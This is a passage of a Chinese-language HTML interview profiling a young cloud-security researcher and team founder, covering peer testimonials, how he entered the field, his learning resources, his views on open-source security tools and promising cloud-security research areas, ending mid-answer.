leaf="">还在腾讯安全沙龙及互联网安全大会等多个安全会议上发表议题，成为国内多个安全专刊的初版编辑，并参与翻译了云安全基石丛书《云攻击向量》。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">目前我还是一名开源爱好者，在Github开源并贡献了一些代码，如SpringBoot-Scan、HaE及WebShell-Bypass-Guide，欢迎大家前来提交PR和交流学习！</span></p><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129) rgb(15, 76, 129);font-size: 16.8px;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;padding-left: 12px;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong><span leaf="">先来让我们看看朋友们对他的看法</span></strong></h3><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-size: inherit;color: rgb(15, 76, 129);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong><span leaf="">资深安全专家——胡珀（lakehu）</span></strong></strong></p><blockquote style="box-sizing: border-box;border-width: 0px 0px 0px 4px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);margin: 0px;text-align: left;line-height: 1.75;font-size: 14px;font-style: italic;padding: 1em 1em 1em 2em;border-radius: 6px;color: rgba(0, 0, 0, 0.6);background: rgb(247, 247, 247);box-shadow: rgba(0, 0, 0, 0.05) 0px 4px 6px;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><p style="text-align:left;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;line-height: 1.75;font-size: 1em;display: block;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">是一个热爱网络安全行业、对安全技术有追求、有技术功底、有探索精神的年轻人。</span></p></blockquote><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-size: inherit;color: rgb(15, 76, 129);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong><span leaf="">腾讯云鼎实验室攻防负责人——李鑫</span></strong></strong></p><blockquote style="box-sizing: border-box;border-width: 0px 0px 0px 4px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);margin: 0px;text-align: left;line-height: 1.75;font-size: 14px;font-style: italic;padding: 1em 1em 1em 2em;border-radius: 6px;color: rgba(0, 0, 0, 0.6);background: rgb(247, 247, 247);box-shadow: rgba(0, 0, 0, 0.05) 0px 4px 6px;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><p style="text-align:left;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;line-height: 1.75;font-size: 1em;display: block;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">最早认识曾哥是在推特上，那会经常看他分享一些情报和安全技术，后来因为某个云安全问题聊到了一起，逐渐熟悉起来。曾哥是个很纯粹的技术同学，为人谦逊随和，在攻防实战领域积淀深厚，且乐于分享，他运营的技术社区氛围很不错。曾两次邀请他坐客腾讯安全沙龙，现实中的曾哥憨厚朴实，技术话题之外言辞不多，人很Nice。</span></p></blockquote><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-size: inherit;color: rgb(15, 76, 129);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong><span leaf="">慢雾科技创始人——余弦</span></strong></strong></p><blockquote style="box-sizing: border-box;border-width: 0px 0px 0px 4px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);margin: 0px;text-align: left;line-height: 1.75;font-size: 14px;font-style: italic;padding: 1em 1em 1em 2em;border-radius: 6px;color: rgba(0, 0, 0, 0.6);background: rgb(247, 247, 247);box-shadow: rgba(0, 0, 0, 0.05) 0px 4px 6px;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><p style="text-align:left;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;line-height: 1.75;font-size: 1em;display: block;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">线下见过曾哥，印象很好，印象中是个靠谱实在且有些腼腆的安全人员。线上的印象会更多些，是个愿意分享网络安全有关知识的人，行业如果少了分享那就太无趣了。</span></p></blockquote><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-size: inherit;color: rgb(15, 76, 129);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong><span leaf="">顺丰科技成文实验室安全研究员——观沧海</span></strong></strong></p><blockquote style="box-sizing: border-box;border-width: 0px 0px 0px 4px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);margin: 0px;text-align: left;line-height: 1.75;font-size: 14px;font-style: italic;padding: 1em 1em 1em 2em;border-radius: 6px;color: rgba(0, 0, 0, 0.6);background: rgb(247, 247, 247);box-shadow: rgba(0, 0, 0, 0.05) 0px 4px 6px;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><p style="text-align:left;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;line-height: 1.75;font-size: 1em;display: block;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">曾哥有着远超同龄人的成熟与技术深度，他对网安之术与道的不倦追求，造就了他今日之成就。他日常抛出的技术问题，不仅与一线实战深度结合，也对底层理论有很高要求，表现了其不凡的技术功底。毫无疑问，他是行业内升起的一颗新星。在闪耀之余，也引领了许多小伙伴一同成长。</span></p></blockquote><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-size: inherit;color: rgb(15, 76, 129);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong><span leaf="">HaE作者/凌驭空间安全团队创始人——EvilChen</span></strong></strong></p><blockquote style="box-sizing: border-box;border-width: 0px 0px 0px 4px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);margin: 0px;text-align: left;line-height: 1.75;font-size: 14px;font-style: italic;padding: 1em 1em 1em 2em;border-radius: 6px;color: rgba(0, 0, 0, 0.6);background: rgb(247, 247, 247);box-shadow: rgba(0, 0, 0, 0.05) 0px 4px 6px;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><p style="text-align:left;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;line-height: 1.75;font-size: 1em;display: block;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">结识曾哥源于开源安全项目。他年纪轻轻，却带着一股难得的“初代黑客”的影子：积极推动和开发优质项目，并为之进行技术生态建设与传播，让好项目被更多人看见、用上。一篇“一场跨越十年的超时空思维碰撞”让我看见他潜心钻研技术，乐于分享，认真参与开源社区。他是真正有热情、有担当的网络安全开源践行者。</span></p></blockquote><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129) rgb(15, 76, 129);font-size: 16.8px;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;padding-left: 12px;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong><span leaf="">接下来让我们通过几个问题，了解曾哥的技术之路</span></strong></h3><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-size: inherit;color: rgb(15, 76, 129);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong><span leaf="">能否请您分享一下您是什么时候开始接触网络安全的？当时是出于什么契机或兴趣？</span></strong></strong></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">曾哥：</span></code><span leaf="">最开始我是在初高中开始对计算机感兴趣，也非常感谢父母的支持，能让我学习各种编程课程，让我能有一个比较不错的基础。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">本来我对未来的打算是作为一名网络管理员或者程序员，后续准备深入学习桌面开发和一些应用级程序开发。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">转机来自于我高中的时候，当时还很年轻，涉世未深。某位群友在QQ群里上传了“超级工具箱APP”，我就想看看是什么东西，结果安装打开后就导致手机被植入勒索病毒，所有的图片和文档都被加密，解密需要交200块钱。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">当时给我气的啊，于是就开始研究APK的反编译，去找到关键的密码实现模块，找出密码解密了数据。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">后来就发现网络安全很刺激，也感觉适合我，便开始在这个行业里面学习和深入。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">至于现在我为什么选择云安全，因为我作为一名站长，很早便发现了云计算对于业务的价值和技术的便捷，从而进一步看到了云上安全的机遇和挑战，于是便选择深入研究和学习云安全方向，想在这个分支领域找到价值所在。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-size: inherit;color: rgb(15, 76, 129);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong><span leaf="">您的学习渠道主要有哪些？在学习过程中，有没有哪些资源或平台对您帮助特别大？</span></strong></strong></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">曾哥：</span></code><span leaf="">经过多年的学习，我日常会浏览海内外的安全论坛和安全博客，能够通过最新的一些帖子了解到新的攻防技术和前沿能力，为此我将自己常看的很多网站都做到我们团队导航<a href="https://dh.aabyss.cn当中，也希望能给其他师傅带来便利。" target="_blank">https://dh.aabyss.cn当中，也希望能给其他师傅带来便利。</a></span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">同时我还建立了不少优秀社群，在社群中与各种大佬一对一沟通，也能学习到不少顶级的思路和技术方向。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">我最开始学习的时候，与T00ls论坛的宗旨“低调求发展 - 潜心习安全” 不谋而合。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">便一直想尝试加入T00ls论坛，中间还申请过好几次才通过，其中的历练也让我逐渐成长起来。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">我认为T00ls这种技术投稿制是非常不错的，能够磨练和考验个人的技术实力，同时也能筛掉浮躁的脚本小子和投机者。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">T00ls论坛内的内容也非常不错，我每天都会在频道里面看看有什么感兴趣的文章或者提出的点子。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">其他优秀的平台也有很多，比如阿里先知安全平台，以及看雪安全论坛，知道创宇Paper社区，内容都非常扎实，日常阅读学习总能有很多收获。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-size: inherit;color: rgb(15, 76, 129);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong><span leaf="">当时创立渊龙Sec团队的初衷是什么，未来的发展方向是什么样的。</span></strong></strong></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">曾哥：</span></code><span leaf="">其实刚创建渊龙Sec安全团队并没有什么远大抱负，当时圈子已经开始比较浮躁，我是非常不希望那种氛围。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">我当时和T00ls的宗旨“低调求发展 - 潜心习安全”一样，准备潜心习安全去沉淀沉淀，与一些志同道合的朋友交流学习，后续发现大家在一起能干很多东西，能创造不少的价值，预算便将团队创立起来。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">我们团队其实研究方向比较多哈哈，从最开始的红蓝攻防、CTF，到后面的无线电安全、云安全等等领域，因为刚开始大家也是因为兴趣在一起的哈哈。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">日常的话，红蓝对抗方向上面的研究一直在做，包括我也将渗透方向的突破技巧和方法通过一些免费直播和博客文章对外分享，同时我们还有研究一些新兴领域，比如Web3安全和数据流动安全。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">对于组建团队这个话题，我想多说几句：一支技术团队想要发展的长久，真正想做到行业级的团队，那就不能急躁。脚踏实地的一步步前行，只有用实际技术产出的能力，才能真正的创造价值。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">靠“博眼球、发段子、赚大钱”成长起来的所谓“团队”，也只是过眼云烟，很快就会消逝在历史的长河之中了。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">也许可以赚许多钱割很多韭菜，但注定无法做大、做长远、做牛逼。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-size: inherit;color: rgb(15, 76, 129);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong><span leaf="">看到您有很多开源的工具发布，在行业内优秀工具大部分都小范围流通的情况您有什么看法吗。未来有什么工具方面的计划吗。</span></strong></strong></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">曾哥：</span></code><span leaf="">我在编写工具的过程中，有不少师傅前来提交贡献代码，我也会钻研学习他人的代码，受益颇多啊。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">其实我对于工具的看法是：工具的作用就两点，一个是帮助你提升工作流效率，另一个是解决技术上的痛点难点。猪猪侠师傅之前提过一句话“聚焦问题，有效解决问题；不要做叼用没有的工具和产品”，这句话我是非常认同的，如果编写的工具没办法满足前面提出的任意一点，那就根本不是优秀工具。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">那根据这个标准判定，其实会发现很多所谓大家追捧的工具算不上优秀工具。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">只是套了个更好看的界面，或者看起来高大上，又或者无脑拼接缝合非常多工具，重点在于并没有解决实际的技术痛点难点，却获得了一众小白的追捧，收割了一众的韭菜，那我觉得这些工具是毫无意义的。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">一款优秀的工具，凝聚了作者的技术精华和汗水，也代表作者当前的技术能力巅峰，开不开源的权利完全在于作者。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">至于优秀工具在小范围流传，这个确实存在，我也拿到过一些优秀工具，观摩学习过不少厉害的技术解决方案。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">优秀工具有诸多原因导致小范围流通，比如如免杀和攻击等方向，存在一定法律风险和技术风险，导致作者没选择开源，这种我认为是合理的。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">不开源的坏处在于没办法看到源代码，别人没办法对功能和Bug进行优化。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">需要提到，这些优秀工具的受众一定是被技术认可有实际需求的师傅，小白拿到这些工具也不知道该怎么用、在什么时候用、怎么合理使用。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">我的建议是精进自己的技术，能够到这个技术层次上来和各位大佬交流，那自然就能拿到了。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">同时我也鼓励大家将工具开源出来，觉得有风险不开源代码的话，也可以在T00ls等论坛写一下技术文章分享自己的技术思路，让大家一起来学习和成长，也能收获不少优质建议和代码贡献。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">未来的话，我自身的工作还是比较繁忙的，技术对抗强度比较大，可能对于开源项目的维护会适当放缓。在适当的时候，我可能会开源云上攻防的一些工具，以及一些解决红蓝攻防当中苛刻环境的工具，目前这两块是写的比较多的。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-size: inherit;color: rgb(15, 76, 129);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong><span leaf="">现在很多企业开始重视云安全，你觉得这个领域目前最值得深挖的方向有哪些？</span></strong></strong></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">曾哥：</span></code><span leaf="">从我的视角来看，我觉得可以深挖的方向一定是他人有所疏忽的地方，所以我选择了API 密钥泄露和供应链攻击这两个方向。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 